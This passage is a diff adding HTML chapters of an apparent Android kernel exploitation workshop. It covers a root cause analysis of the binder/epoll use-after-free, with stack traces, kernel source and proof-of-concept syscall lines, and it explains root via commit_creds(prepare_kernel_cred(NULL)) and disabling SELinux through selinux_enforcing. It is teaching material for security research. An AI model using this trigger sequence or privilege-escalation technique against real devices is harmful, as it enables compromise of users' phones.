+                old = get_task_cred(daemon);
+        else
+                old = get_cred(&init_cred);
+
+        validate_creds(old);
+
+        *new = *old;
+        [...]
+        validate_creds(new);
+        return new;
+
+error:
+        [...]
+        return NULL;
+}
+
        +

        This function basically take a pointer task_struct for which we want to prepare kernel credentials. The important part of the function is that if we provide NULL as the pointer to task_struct it will get the default credentials which is init_cred. init_cred is a global struct cred defined in kernel/cred.c which is used to initialize the credentials for the init_task which is the first task in Linux.

        +
        /*
+ * The initial credentials for the initial task
+ */
+struct cred init_cred = {
+        .usage                  = ATOMIC_INIT(4),
+#ifdef CONFIG_DEBUG_CREDENTIALS
+        .subscribers            = ATOMIC_INIT(2),
+        .magic                  = CRED_MAGIC,
+#endif
+        .uid                    = GLOBAL_ROOT_UID,
+        .gid                    = GLOBAL_ROOT_GID,
+        .suid                   = GLOBAL_ROOT_UID,
+        .sgid                   = GLOBAL_ROOT_GID,
+        .euid                   = GLOBAL_ROOT_UID,
+        .egid                   = GLOBAL_ROOT_GID,
+        .fsuid                  = GLOBAL_ROOT_UID,
+        .fsgid                  = GLOBAL_ROOT_GID,
+        .securebits             = SECUREBITS_DEFAULT,
+        .cap_inheritable        = CAP_EMPTY_SET,
+        .cap_permitted          = CAP_FULL_SET,
+        .cap_effective          = CAP_FULL_SET,
+        .cap_bset               = CAP_FULL_SET,
+        .user                   = INIT_USER,
+        .user_ns                = &init_user_ns,
+        .group_info             = &init_groups,
+};
+
        +

        Let's look at what these defines mean.

        +
        #define GLOBAL_ROOT_UID     (uint32_t)0
+#define GLOBAL_ROOT_GID     (uint32_t)0
+#define SECUREBITS_DEFAULT  (uint32_t)0x00000000
+#define CAP_EMPTY_SET       (uint64_t)0
+#define CAP_FULL_SET        (uint64_t)0x3FFFFFFFFF
+
        +

        init_cred basically sets the cred structure as shown below.

        +
        cred->uid = 0;
+cred->gid = 0;
+cred->suid = 0;
+cred->idid = 0;
+cred->euid = 0;
+cred->egid = 0;
+cred->fsuid = 0;
+cred->fsgid = 0;
+cred->securebits = 0;
+cred->cap_inheritable.cap[0] = 0;
+cred->cap_inheritable.cap[1] = 0;
+cred->cap_permitted.cap[0] = 0x3F;
+cred->cap_permitted.cap[1] = 0xFFFFFFFF;
+cred->cap_effective.cap[0] = 0x3F;
+cred->cap_effective.cap[1] = 0xFFFFFFFF;
+cred->cap_bset.cap[0] = 0x3F;
+cred->cap_bset.cap[1] = 0xFFFFFFFF;
+cred->cap_ambient.cap[0] = 0;
+cred->cap_ambient.cap[1] = 0;
+
        +

        Let's look at the commit_creds function and try to understand what it does.

        +
        int commit_creds(struct cred *new)
+{
+        struct task_struct *task = current;
+        const struct cred *old = task->real_cred;
+
+        [...]
+
+        rcu_assign_pointer(task->real_cred, new);
+        rcu_assign_pointer(task->cred, new);
+
+        [...]
+
+        return 0;
+}
+
        +

        commit_creds basically sets the task->real_cred and task->cred with the pointer to new cred structure. However, as we had passed NULL to prepare_kernel_cred address of init_cred.

        +

        This is how we get root and this basically means privilege escalation

        +

        SELinux

        +

        Security-Enhanced Linux was developed by National Security Agency (NSA) using Linux Security Modules (LSM).

        +

        There are two modes of SELinux

        +
          +
        • permissive - permission denials are logged but not enforced
          • +
        • enforcing - permission denials are logged and enforced
          • +
        +

        In Android the default mode of SELinux is enforcing and even if we get root, we are subjected to SELinux rules.

        +
        generic_x86_64:/ $ getenforce                                                                                      
+Enforcing
+
        +

        So, we need to disable SELinux as well.

        +

        selinux_enforcing

        +

        selinux_enforcing is a global variable which dictates whether SELinux is enforced or not. If we can figure out where selinux_enforcing is in memory and set it to NULL, then we can disable SELinux globally and now SELinux will be in permissive mode instead of enforcing mode.

        +

        SecComp

        +

        SecComp stands for Secure Computing mode and is a Linux kernel feature that allows to filter system calls. When enabled, the process can only make four system calls read(), write(), exit(), and sigreturn().

        +

        When running the exploit from adb shell we are not subjected to seccomp. However, if we bundle the exploit in an Android application, we would be subjected to seccomp.

        +

        In this workshop, we are not going to look at seccomp.

        + + +
        + +
        +
        +
        + +

        results matching ""

        +
          + +
          +
          + +

          No results matching ""

          + +
          +
          +
          + +
          +
          + +
          + + + + + + + + + + + + + + +
          + + +
          + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/chapters/resources.html b/chapters/resources.html new file mode 100644 index 0000000..a382d4b --- /dev/null +++ b/chapters/resources.html @@ -0,0 +1,1034 @@ + + + + + + + Resources ยท Android Kernel Exploitation + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
          +
          + + + + + + + + +
          + +
          + +
          + + + + + + + + +
          +
          + + + +
          +
          + +
          + + + + + + + + + + +
          + + +
          + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/chapters/root-cause-analysis.html b/chapters/root-cause-analysis.html new file mode 100644 index 0000000..c5166fe --- /dev/null +++ b/chapters/root-cause-analysis.html @@ -0,0 +1,1998 @@ + + + + + + + Root Cause Analysis ยท Android Kernel Exploitation + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
          +
          + + + + + + + + +
          + +
          + +
          + + + + + + + + +
          +
          + +
          +
          + +
          + +

          Root Cause Analysis

          +

          Root Cause Analysis (RCA) is a very important part of vulnerability research. With RCA we can determine if a crash or bug can be exploited.

          +

          RCA is basically reverse engineering process to understanding the code that lead to the crash.

          +

          Revisiting Crash

          +

          From the crash log, we already know that it's Use after Free vulnerability. Let's revisit the crash report and try to understand why it occurred.

          +

          Let's strip away unwanted information and break the crash log in three parts, allocation, free and use

          +

          Allocation

          +
          [<        none        >] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59
+[<     inline     >] save_stack mm/kasan/common.c:76
+[<     inline     >] set_track mm/kasan/common.c:85
+[<        none        >] __kasan_kmalloc+0x133/0x1cc mm/kasan/common.c:501
+[<        none        >] kasan_kmalloc+0x9/0xb mm/kasan/common.c:515
+[<        none        >] kmem_cache_alloc_trace+0x1bd/0x26f mm/slub.c:2819
+[<     inline     >] kmalloc include/linux/slab.h:488
+[<     inline     >] kzalloc include/linux/slab.h:661
+[<        none        >] binder_get_thread+0x166/0x6db drivers/android/binder.c:4677
+[<        none        >] binder_poll+0x4c/0x1c2 drivers/android/binder.c:4805
+[<     inline     >] ep_item_poll fs/eventpoll.c:888
+[<     inline     >] ep_insert fs/eventpoll.c:1476
+[<     inline     >] SYSC_epoll_ctl fs/eventpoll.c:2128
+[<        none        >] SyS_epoll_ctl+0x1558/0x24f0 fs/eventpoll.c:2014
+[<        none        >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292
+[<        none        >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233
+

          Here is the simplified call graph.

          +

          + Allocation Stack Trace +

          + +

          Relevant source line from the PoC

          +
          epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
+
          +

          Free

          +
          [<        none        >] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59
+[<     inline     >] save_stack mm/kasan/common.c:76
+[<     inline     >] set_track mm/kasan/common.c:85
+[<        none        >] __kasan_slab_free+0x18f/0x23f mm/kasan/common.c:463
+[<        none        >] kasan_slab_free+0xe/0x10 mm/kasan/common.c:471
+[<     inline     >] slab_free_hook mm/slub.c:1407
+[<     inline     >] slab_free_freelist_hook mm/slub.c:1458
+[<     inline     >] slab_free mm/slub.c:3039
+[<        none        >] kfree+0x193/0x5b3 mm/slub.c:3976
+[<     inline     >] binder_free_thread drivers/android/binder.c:4705
+[<        none        >] binder_thread_dec_tmpref+0x192/0x1d9 drivers/android/binder.c:2053
+[<        none        >] binder_thread_release+0x464/0x4bd drivers/android/binder.c:4794
+[<        none        >] binder_ioctl+0x48a/0x101c drivers/android/binder.c:5062
+[<        none        >] do_vfs_ioctl+0x608/0x106a fs/ioctl.c:46
+[<     inline     >] SYSC_ioctl fs/ioctl.c:701
+[<        none        >] SyS_ioctl+0x75/0xa4 fs/ioctl.c:692
+[<        none        >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292
+[<        none        >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233
+

          Here is the simplified call graph.

          +

          + Free Stack Trace +

          + +

          Relevant source line from the PoC

          +
          ioctl(fd, BINDER_THREAD_EXIT, NULL);
+
          +

          Let's look at the the binder_free_thread implementation in workshop/android-4.14-dev/goldfish/drivers/android/binder.c.

          +
          static void binder_free_thread(struct binder_thread *thread)
+{
+        [...]
+        kfree(thread);
+}
+
          +

          We see that binder_thread structure is being freed by calling kfree which exactly matches the free call trace. This confirms that the dangling chunk is binder_thread structure.

          +

          Let's see how struct binder_thread is defined.

          +
          struct binder_thread {
+        struct binder_proc *proc;
+        struct rb_node rb_node;
+        struct list_head waiting_thread_node;
+        int pid;
+        int looper;              /* only modified by this thread */
+        bool looper_need_return; /* can be written by other thread */
+        struct binder_transaction *transaction_stack;
+        struct list_head todo;
+        bool process_todo;
+        struct binder_error return_error;
+        struct binder_error reply_error;
+        wait_queue_head_t wait;
+        struct binder_stats stats;
+        atomic_t tmp_ref;
+        bool is_dead;
+        struct task_struct *task;
+};
+
          +

          Use

          +
          [<        none        >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160
+[<        none        >] remove_wait_queue+0x27/0x122 kernel/sched/wait.c:50
+ ?[<        none        >] fsnotify_unmount_inodes+0x1e8/0x1e8 fs/notify/fsnotify.c:99
+[<     inline     >] ep_remove_wait_queue fs/eventpoll.c:612
+[<        none        >] ep_unregister_pollwait+0x160/0x1bd fs/eventpoll.c:630
+[<        none        >] ep_free+0x8b/0x181 fs/eventpoll.c:847
+ ?[<        none        >] ep_eventpoll_poll+0x228/0x228 fs/eventpoll.c:942
+[<        none        >] ep_eventpoll_release+0x48/0x54 fs/eventpoll.c:879
+[<        none        >] __fput+0x1f2/0x51d fs/file_table.c:210
+[<        none        >] ____fput+0x15/0x18 fs/file_table.c:244
+[<        none        >] task_work_run+0x127/0x154 kernel/task_work.c:113
+[<     inline     >] exit_task_work include/linux/task_work.h:22
+[<        none        >] do_exit+0x818/0x2384 kernel/exit.c:875
+ ?[<        none        >] mm_update_next_owner+0x52f/0x52f kernel/exit.c:468
+[<        none        >] do_group_exit+0x12c/0x24b kernel/exit.c:978
+ ?[<     inline     >] spin_unlock_irq include/linux/spinlock.h:367
+ ?[<        none        >] do_group_exit+0x24b/0x24b kernel/exit.c:975
+[<        none        >] SYSC_exit_group+0x17/0x17 kernel/exit.c:989
+[<        none        >] SyS_exit_group+0x14/0x14 kernel/exit.c:987
+[<        none        >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292
+[<        none        >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233
+

          Here is the simplified call graph.

          +

          + Free Stack Trace +

          + +

          We don't see any line in the PoC which calls SyS_exit_group. It turns out that the use happens when the process exits, and eventually exit_group system call is called. This is when it tries to cleanup the resources and uses the dangling chunk erroneously.

          +

          Visual Studio Code

          +

          We will use Visual Studio Code for Android kernel source code navigation. I used this project https://github.com/amezin/vscode-linux-kernel for better intellisense support.

          +

          Static Analysis

          +

          We already know that binder_thread is the dangling chunk. Let's statically trace the function calls in the crashing PoC and see what's happening.

          +

          We want to answer the following questions:

          +
            +
          • Why binder_thread structure was allocated?
            • +
          • Why binder_thread structure was freed?
            • +
          • Why the use of binder_thread structure happened when it's already freed?
            • +
          +

          open

          +
          fd = open("/dev/binder", O_RDONLY);
+
          +

          Let's open workshop/android-4.14-dev/goldfish/drivers/android/binder.c and see how open system call is implemented.

          +
          static const struct file_operations binder_fops = {
+    [...]
+    .open = binder_open,
+    [...]
+};
+
          +

          We see that open system call is handled by binder_open function.

          +

          Let's follow binder_open function and find out what it does.

          +
          static int binder_open(struct inode *nodp, struct file *filp)
+{
+        struct binder_proc *proc;
+        [...]
+        proc = kzalloc(sizeof(*proc), GFP_KERNEL);
+        if (proc == NULL)
+                return -ENOMEM;
+        [...]
+        filp->private_data = proc;
+        [...]
+        return 0;
+}
+
          +

          binder_open allocates binder_proc data structure and assigns it to the filp->private_data.

          +

          epoll_create

          +
          epfd = epoll_create(1000);
+
          +

          Let's open workshop/android-4.14-dev/goldfish/fs/eventpoll.c and see how epoll_create system call is implemented. We will also follow the call graph and look into all the important functions that epoll_create will call.

          +
          SYSCALL_DEFINE1(epoll_create, int, size)
+{
+        if (size <= 0)
+                return -EINVAL;
+
+        return sys_epoll_create1(0);
+}
+
          +

          epoll_create checks if size <= 0 and then calls sys_epoll_create1. We can see that 1000 passed as parameter does not have any specific implications. The size parameter should be greater than 0.

          +

          Let's follow the sys_epoll_create1 function.

          +
          SYSCALL_DEFINE1(epoll_create1, int, flags)
+{
+        int error, fd;
+        struct eventpoll *ep = NULL;
+        struct file *file;
+        [...]
+        error = ep_alloc(&ep);
+        if (error < 0)
+                return error;
+        [...]
+        file = anon_inode_getfile("[eventpoll]", &eventpoll_fops, ep,
+                                 O_RDWR | (flags & O_CLOEXEC));
+        [...]
+        ep->file = file;
+        fd_install(fd, file);
+        return fd;
+        [...]
+        return error;
+}
+
          +

          epoll_create1 calls ep_alloc, sets ep->file = file and finally returns the epoll file descriptor fd.

          +

          Let's follow ep_alloc function and find out what it does.

          +
          static int ep_alloc(struct eventpoll **pep)
+{
+        int error;
+        struct user_struct *user;
+        struct eventpoll *ep;
+        [...]
+        ep = kzalloc(sizeof(*ep), GFP_KERNEL);
+        [...]
+        init_waitqueue_head(&ep->wq);
+        init_waitqueue_head(&ep->poll_wait);
+        INIT_LIST_HEAD(&ep->rdllist);
+        ep->rbr = RB_ROOT_CACHED;
+        [...]
+        *pep = ep;
+        return 0;
+        [...]
+        return error;
+}
+
          +
            +
          • allocates struct eventpoll, initializes wait queues wq and poll_wait members
            • +
          • initializes rbr member which is the red black tree root
            • +
          +

          struct eventpoll is the main data structure used by event polling subsystem. Let's see how eventpoll structure is defined in workshop/android-4.14-dev/goldfish/fs/eventpoll.c.

          +
          struct eventpoll {
+        /* Protect the access to this structure */
+        spinlock_t lock;
+
+        /*
+         * This mutex is used to ensure that files are not removed
+         * while epoll is using them. This is held during the event
+         * collection loop, the file cleanup path, the epoll file exit
+         * code and the ctl operations.
+         */
+        struct mutex mtx;
+
+        /* Wait queue used by sys_epoll_wait() */
+        wait_queue_head_t wq;
+
+        /* Wait queue used by file->poll() */
+        wait_queue_head_t poll_wait;
+
+        /* List of ready file descriptors */
+        struct list_head rdllist;
+
+        /* RB tree root used to store monitored fd structs */
+        struct rb_root_cached rbr;
+
+        /*
+         * This is a single linked list that chains all the "struct epitem" that
+         * happened while transferring ready events to userspace w/out
+         * holding ->lock.
+         */
+        struct epitem *ovflist;
+
+        /* wakeup_source used when ep_scan_ready_list is running */
+        struct wakeup_source *ws;
+
+        /* The user that created the eventpoll descriptor */
+        struct user_struct *user;
+
+        struct file *file;
+
+        /* used to optimize loop detection check */
+        int visited;
+        struct list_head visited_list_link;
+
+#ifdef CONFIG_NET_RX_BUSY_POLL
+        /* used to track busy poll napi_id */
+        unsigned int napi_id;
+#endif
+};
+
          +

          epoll_ctl

          +
          epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
+
          +

          Let's open workshop/android-4.14-dev/goldfish/fs/eventpoll.c and see how epoll_ctl is implemented. We are passing EPOLL_CTL_ADD as the operation parameter.

          +
          SYSCALL_DEFINE4(epoll_ctl, int, epfd, int, op, int, fd,
+                struct epoll_event __user *, event)
+{
+        int error;
+        int full_check = 0;
+        struct fd f, tf;
+        struct eventpoll *ep;
+        struct epitem *epi;
+        struct epoll_event epds;
+        struct eventpoll *tep = NULL;
+
+        error = -EFAULT;
+        if (ep_op_has_event(op) &&
+            copy_from_user(&epds, event, sizeof(struct epoll_event)))
+                goto error_return;
+
+        error = -EBADF;
+        f = fdget(epfd);
+        if (!f.file)
+                goto error_return;
+
+        /* Get the "struct file *" for the target file */
+        tf = fdget(fd);
+        if (!tf.file)
+                goto error_fput;
+        [...]
+        ep = f.file->private_data;
+        [...]
+        epi = ep_find(ep, tf.file, fd);
+
+        error = -EINVAL;
+        switch (op) {
+        case EPOLL_CTL_ADD:
+                if (!epi) {
+                        epds.events |= POLLERR | POLLHUP;
+                        error = ep_insert(ep, &epds, tf.file, fd, full_check);
+                } else
+                        error = -EEXIST;
+                [...]
+        [...]
+        }
+        [...]
+        return error;
+}
+
          +
            +
          • copies epoll_event structure from user space to kernel space
            • +
          • finds the corresponding file pointers of epfd and fd file descriptors
            • +
          • gets the pointer to eventpoll structure from the private_data member of the file pointer of the epoll file descriptor epfd
            • +
          • calls ep_find to find the pointer to linked epitem structure from the red black tree node stored in eventpoll structure matching the file descriptor fd
            • +
          • if epitem is not found for the corresponding fd, then it calls ep_insert function to allocate and link a epitem to eventpoll structure's rbr member
            • +
          +

          Let's see how struct epitem is defined.

          +
          struct epitem {
+        union {
+                /* RB tree node links this structure to the eventpoll RB tree */
+                struct rb_node rbn;
+                /* Used to free the struct epitem */
+                struct rcu_head rcu;
+        };
+
+        /* List header used to link this structure to the eventpoll ready list */
+        struct list_head rdllink;
+
+        /*
+         * Works together "struct eventpoll"->ovflist in keeping the
+         * single linked chain of items.
+         */
+        struct epitem *next;
+
+        /* The file descriptor information this item refers to */
+        struct epoll_filefd ffd;
+
+        /* Number of active wait queue attached to poll operations */
+        int nwait;
+
+        /* List containing poll wait queues */
+        struct list_head pwqlist;
+
+        /* The "container" of this item */
+        struct eventpoll *ep;
+
+        /* List header used to link this item to the "struct file" items list */
+        struct list_head fllink;
+
+        /* wakeup_source used when EPOLLWAKEUP is set */
+        struct wakeup_source __rcu *ws;
+
+        /* The structure that describe the interested events and the source fd */
+        struct epoll_event event;
+};
+
          +

          Below given diagram shows how an epitem structure is linked to eventpoll structure.

          +

          + epitem eventpoll link +

          + + +

          Let's follow ep_insert function and see what it exactly does.

          +
          static int ep_insert(struct eventpoll *ep, struct epoll_event *event,
+                     struct file *tfile, int fd, int full_check)
+{
+        int error, revents, pwake = 0;
+        unsigned long flags;
+        long user_watches;
+        struct epitem *epi;
+        struct ep_pqueue epq;
+        [...]
+        if (!(epi = kmem_cache_alloc(epi_cache, GFP_KERNEL)))
+                return -ENOMEM;
+
+        /* Item initialization follow here ... */
+        INIT_LIST_HEAD(&epi->rdllink);
+        INIT_LIST_HEAD(&epi->fllink);
+        INIT_LIST_HEAD(&epi->pwqlist);
+        epi->ep = ep;
+        ep_set_ffd(&epi->ffd, tfile, fd);
+        epi->event = *event;
+        [...]
+
+        /* Initialize the poll table using the queue callback */
+        epq.epi = epi;
+        init_poll_funcptr(&epq.pt, ep_ptable_queue_proc);
+        [...]
+        revents = ep_item_poll(epi, &epq.pt);
+        [...]
+        ep_rbtree_insert(ep, epi);
+        [...]
+        return 0;
+        [...]
+        return error;
+}
+
          +
            +
          • allocates a temporary structure ep_pqueue
            • +
          • allocates epitem structure and initializes it
            • +
          • initializes epi->pwqlist member which is used to link the poll wait queues
            • +
          • sets the epitem structure member ffd->file = file and ffd->fd = fd which is the binder's file structure pointer and descriptor in our case by calling ep_set_ffd
            • +
          • sets epq.epi to epi pointer
            • +
          • sets epq.pt->_qproc to ep_ptable_queue_proc callback address
            • +
          • calls ep_item_poll passing epi and address of epq.pt (poll table) as arguments
            • +
          • finally, links epitem structure to eventpoll structure's red black tree root node by calling ep_rbtree_insert function
            • +
          +

          Let's follow ep_item_poll and find out what it does.

          +
          static inline unsigned int ep_item_poll(struct epitem *epi, poll_table *pt)
+{
+        pt->_key = epi->event.events;
+
+        return epi->ffd.file->f_op->poll(epi->ffd.file, pt) & epi->event.events;
+}
+
          +
            +
          • calls poll function in the binder's file structure f_op->poll passing binder's file structure pointer and poll_table pointer
            • +
          +
          +

          Note: Now, we are jumping to binder subsystem from epoll subsystem.

          +
          +

          Let's open workshop/android-4.14-dev/goldfish/drivers/android/binder.c and see how poll system call is implemented.

          +
          static const struct file_operations binder_fops = {
+    [...]
+    .poll = binder_poll,
+    [...]
+};
+
          +

          We see that poll system call is handled by binder_poll function.

          +

          Let's follow binder_poll function and find out what it does.

          +
          static unsigned int binder_poll(struct file *filp,
+                                struct poll_table_struct *wait)
+{
+        struct binder_proc *proc = filp->private_data;
+        struct binder_thread *thread = NULL;
+        [...]
+        thread = binder_get_thread(proc);
+        if (!thread)
+                return POLLERR;
+        [...]
+        poll_wait(filp, &thread->wait, wait);
+        [...]
+        return 0;
+}
+
          +
            +
          • gets the pointer to binder_proc structure from filp->private_data
            • +
          • calls binder_get_thread passing binder_proc structure pointer
            • +
          • finally calls poll_wait passing binder's file structure pointer, &thread->wait which is wait_queue_head_t pointer and poll_table_struct pointer
            • +
          +

          Let's first follow binder_get_thread and find out what it does. After that we will follow poll_wait function.

          +
          static struct binder_thread *binder_get_thread(struct binder_proc *proc)
+{
+        struct binder_thread *thread;
+        struct binder_thread *new_thread;
+        [...]
+        thread = binder_get_thread_ilocked(proc, NULL);
+        [...]
+        if (!thread) {
+                new_thread = kzalloc(sizeof(*thread), GFP_KERNEL);
+                [...]
+                thread = binder_get_thread_ilocked(proc, new_thread);
+                [...]
+        }
+        return thread;
+}
+
          +
            +
          • tries to get the binder_thread if present in proc->threads.rb_node by calling binder_get_thread_ilocked
            • +
          • else it allocates a binder_thread structure
            • +
          • finally calls binder_get_thread_ilocked again, which initializes the newly allocated binder_thread structure and link it to the proc->threads.rb_node member which is basically a red black tree node
            • +
          +

          If you see the call graph in Allocation section, you will find that this is where the binder_thread structure is allocated.

          +

          Now, let's follow poll_wait function and find out what it does.

          +
          static inline void poll_wait(struct file * filp, wait_queue_head_t * wait_address, poll_table *p)
+{
+        if (p && p->_qproc && wait_address)
+                p->_qproc(filp, wait_address, p);
+}
+
          +
            +
          • calls the callback function assigned to p->_qproc passing binder's file structure pointer, wait_queue_head_t pointer and poll_table pointer
            • +
          +

          If you go up and see ep_insert function, you will see that p->_qproc was set to ep_ptable_queue_proc function's address.

          +
          +

          Note: Now, we are jumping back to epoll subsystem from binder subsystem.

          +
          +

          Let's open workshop/android-4.14-dev/goldfish/fs/eventpoll.c and try to understand what ep_ptable_queue_proc function does.

          +
          /*
+ * This is the callback that is used to add our wait queue to the
+ * target file wakeup lists.
+ */
+static void ep_ptable_queue_proc(struct file *file, wait_queue_head_t *whead,
+                 poll_table *pt)
+{
+    struct epitem *epi = ep_item_from_epqueue(pt);
+    struct eppoll_entry *pwq;
+
+    if (epi->nwait >= 0 && (pwq = kmem_cache_alloc(pwq_cache, GFP_KERNEL))) {
+        init_waitqueue_func_entry(&pwq->wait, ep_poll_callback);
+        pwq->whead = whead;
+        pwq->base = epi;
+        if (epi->event.events & EPOLLEXCLUSIVE)
+            add_wait_queue_exclusive(whead, &pwq->wait);
+        else
+            add_wait_queue(whead, &pwq->wait);
+        list_add_tail(&pwq->llink, &epi->pwqlist);
+        epi->nwait++;
+    } else {
+        /* We have to signal that an error occurred */
+        epi->nwait = -1;
+    }
+}
+
          +
            +
          • gets pointer to epitem structure from poll_table by calling ep_item_from_epqueue function
            • +
          • allocates eppoll_entry structure and initializes it members
            • +
          • sets whead member of eppoll_entry structure to the pointer to wait_queue_head_t structure passed by binder_poll, which is basically the pointer to binder_thread->wait
            • +
          • links whead (binder_thread->wait) to eppoll_entry->wait by calling add_wait_queue
            • +
          • finally eppoll_entry->llink is linked to epitem->pwqlist by calling list_add_tail
            • +
          +
          +

          Note: If you look at the code, you will notice that there are two places which holds the reference to binder_thread->wait. First reference is stored in eppoll_entry->wait and the second reference is stored in eppoll_entry->whead.

          +
          +

          Let's see how struct eppoll_entry is defined.

          +
          struct eppoll_entry {
+        /* List header used to link this structure to the "struct epitem" */
+        struct list_head llink;
+
+        /* The "base" pointer is set to the container "struct epitem" */
+        struct epitem *base;
+
+        /*
+         * Wait queue item that will be linked to the target file wait
+         * queue head.
+         */
+        wait_queue_entry_t wait;
+
+        /* The wait queue head that linked the "wait" wait queue item */
+        wait_queue_head_t *whead;
+};
+
          +

          Below given diagram is the simplified call graph of how binder_thread structure is allocated and gets linked to epoll subsystem.

          +

          + binder_thread eventpoll call graph +

          + + +

          Below given diagram shows how eventpoll structure is connected with binder_thread structure.

          +

          + binder_thread eventpoll connection +

          + + +

          ioctl

          +
          ioctl(fd, BINDER_THREAD_EXIT, NULL);
+
          +

          Let's open workshop/android-4.14-dev/goldfish/drivers/android/binder.c and see how ioctl system call is implemented.

          +
          static const struct file_operations binder_fops = {
+        [...]
+        .unlocked_ioctl = binder_ioctl,
+        .compat_ioctl = binder_ioctl,
+        [...]
+};
+

          We see that unlocked_ioctl and compat_ioctl system call is handled by binder_ioctl function.

          +

          Let's follow binder_ioctl function and see how it handles BINDER_THREAD_EXIT request.

          +
          static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
+{
+        int ret;
+        struct binder_proc *proc = filp->private_data;
+        struct binder_thread *thread;
+        unsigned int size = _IOC_SIZE(cmd);
+        void __user *ubuf = (void __user *)arg;
+        [...]
+        thread = binder_get_thread(proc);
+        [...]
+        switch (cmd) {
+        [...]
+        case BINDER_THREAD_EXIT:
+                [...]
+                binder_thread_release(proc, thread);
+                thread = NULL;
+                break;
+        [...]
+        default:
+                ret = -EINVAL;
+                goto err;
+        }
+        ret = 0;
+        [...]
+        return ret;
+}
+
          +
            +
          • gets the pointer to binder_thread structure from binder_proc structure
            • +
          • calls binder_thread_release function passing pointers to binder_proc and binder_thread structures as the parameters
            • +
          +

          Let's follow binder_thread_release and find out what it does.

          +
          static int binder_thread_release(struct binder_proc *proc,
+                                 struct binder_thread *thread)
+{
+        [...]
+        int active_transactions = 0;
+        [...]
+        binder_thread_dec_tmpref(thread);
+        return active_transactions;
+}
+
          +
          +

          Note: Remember, we had applied a custom patch in this function itself to reintroduce the vulnerability.

          +
          +
            +
          • interesting part of this function is that, it calls the binder_thread_dec_tmpref function passing pointer to binder_thread structure
            • +
          +

          Let's follow binder_thread_dec_tmpref and find out what it does.

          +
          static void binder_thread_dec_tmpref(struct binder_thread *thread)
+{
+        [...]
+        if (thread->is_dead && !atomic_read(&thread->tmp_ref)) {
+                [...]
+                binder_free_thread(thread);
+                return;
+        }
+        [...]
+}
+
          +
            +
          • calls binder_free_thread function passing pointer to binder_thread structure
            • +
          +

          Let's follow binder_free_thread and find out what it does.

          +
          static void binder_free_thread(struct binder_thread *thread)
+{
+        [...]
+        kfree(thread);
+}
+
          +
            +
          • calls kfree function which frees the kernel heap chunk storing binder_thread structure
            • +
          +

          If you see the call graph in Free section, you will find that this is where the binder_thread structure is freed.

          +

          ep_remove

          +

          If you see the call graph in Use section, you will find that ep_unregister_pollwait function is called when exit_group system call is executed. exit_group is usually called when the process exits. We would want to trigger the call to ep_unregister_pollwait at will during exploitation.

          +

          Let's look at workshop/android-4.14-dev/goldfish/fs/eventpoll.c and try to figure out how we can call ep_unregister_pollwait function at will. Basically, we want to inspect the callers of ep_unregister_pollwait function.

          +

          Looking at the code, I found two interesting callers functions ep_remove and ep_free. But ep_remove is a good candidate because can be called by epoll_ctl system call passing EPOLL_CTL_DEL as the operation parameter.

          +
          SYSCALL_DEFINE4(epoll_ctl, int, epfd, int, op, int, fd,
+                struct epoll_event __user *, event)
+{
+        [...]
+        struct eventpoll *ep;
+        struct epitem *epi;
+        [...]
+        error = -EINVAL;
+        switch (op) {
+        [...]
+        case EPOLL_CTL_DEL:
+                if (epi)
+                        error = ep_remove(ep, epi);
+                else
+                        error = -ENOENT;
+                break;
+        [...]
+        }
+        [...]
+        return error;
+}
+
          +

          The below given line of code can trigger ep_unregister_pollwait function at will.

          +
          epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
+
          +

          Let's follow ep_remove function find out what it does.

          +
          static int ep_remove(struct eventpoll *ep, struct epitem *epi)
+{
+        [...]
+        ep_unregister_pollwait(ep, epi);
+        [...]
+        return 0;
+}
+
          +
            +
          • calls ep_unregister_pollwait function passing pointers to eventpoll and epitem structures as the parameters
            • +
          +

          Let's follow ep_unregister_pollwait function find out what it does.

          +
          static void ep_unregister_pollwait(struct eventpoll *ep, struct epitem *epi)
+{
+        struct list_head *lsthead = &epi->pwqlist;
+        struct eppoll_entry *pwq;
+
+        while (!list_empty(lsthead)) {
+                pwq = list_first_entry(lsthead, struct eppoll_entry, llink);
+                [...]
+                ep_remove_wait_queue(pwq);
+                [...]
+        }
+}
+
          +
            +
          • gets the poll wait queue list_head structure pointer from epi->pwqlist.
            • +
          • gets the pointer eppoll_entry from the epitem->llink member which of type struct list_head
            • +
          • calls ep_remove_wait_queue passing pointer to eppoll_entry as the parameter
            • +
          +

          Let's follow ep_remove_wait_queue function find out what it does.

          +
          static void ep_remove_wait_queue(struct eppoll_entry *pwq)
+{
+        wait_queue_head_t *whead;
+        [...]
+        whead = smp_load_acquire(&pwq->whead);
+        if (whead)
+                remove_wait_queue(whead, &pwq->wait);
+        [...]
+}
+
          +
            +
          • gets pointer to wait_queue_head_t from eppoll_entry->whead
            • +
          • calls remove_wait_queue function passing pointers to wait_queue_head_t and eppoll_entry->wait as the parameters
            • +
          +
          +

          Note: eppoll_entry->whead and eppoll_entry->wait both has references to the dangling binder_thread structure.

          +
          +

          Let's open workshop/android-4.14-dev/goldfish/kernel/sched/wait.c and follow remove_wait_queue function to figure out what it does.

          +
          void remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry)
+{
+        unsigned long flags;
+
+        spin_lock_irqsave(&wq_head->lock, flags);
+        __remove_wait_queue(wq_head, wq_entry);
